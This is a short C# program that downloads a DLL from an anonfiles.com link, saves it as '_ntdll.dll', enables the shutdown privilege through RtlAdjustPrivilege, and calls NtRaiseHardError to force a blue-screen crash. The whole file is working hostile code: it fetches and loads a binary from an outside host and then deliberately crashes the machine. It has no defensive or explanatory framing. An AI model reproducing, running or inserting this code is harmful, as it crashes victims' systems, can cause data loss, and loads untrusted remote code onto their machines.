using System;

​

using System.Runtime.InteropServices;

​

using System.ComponentModel;

​

using System.Net;

​

using System.IO;

​

public class Program

​

{

​

  const string dllName = "_ntdll.dll";

​

​

  [DllImport(dllName)]

​

  private static extern uint RtlAdjustPrivilege(

​

  int Privilege,

​

  bool bEnablePrivilege,

​

  bool IsThreadPrivilege, 

​

  out bool PreviousValue);

​

  [DllImport(dllName)]

​

  private static extern uint NtRaiseHardError(

​

  uint ErrorStatus,

​

  uint NumberOfParameters,

​

  uint UnicodeStringParameterMask,

​

  IntPtr Parameters,

​

  uint ValidResponseOption,

​

  out uint Response);

​

  const uint StatusFloatMultipleFaults = 0xC00002B4;

​

  const string dllPath = "https://cdn-119.anonfiles.com/5408545bua/2a1a8fb4-1625912832/ntdll.dll";

​

​

  static void Raise()

​

  {

​

    bool prevValue;

​

    var privilegeStatusCode = RtlAdjustPrivilege(19, true, false, out prevValue);

​

    if (privilegeStatusCode != 0)

​

    {

​

      throw new Win32Exception((int)privilegeStatusCode);

​

    }

​

    uint response;

​

    var errorStatusCode = NtRaiseHardError(StatusFloatMultipleFaults, 0, 0, IntPtr.Zero, 6, out response);

​

    if (errorStatusCode != 0)

​

    {

​

      throw new Win32Exception((int)errorStatusCode);

​

    }

​

  }

​

​

  public static void Main()

​

  {

​

    var wc = new WebClient();

​

    var bytes = wc.DownloadData(dllPath);

​

    File.WriteAllBytes(dllName, bytes);

​

    Raise();

​

  }

​

}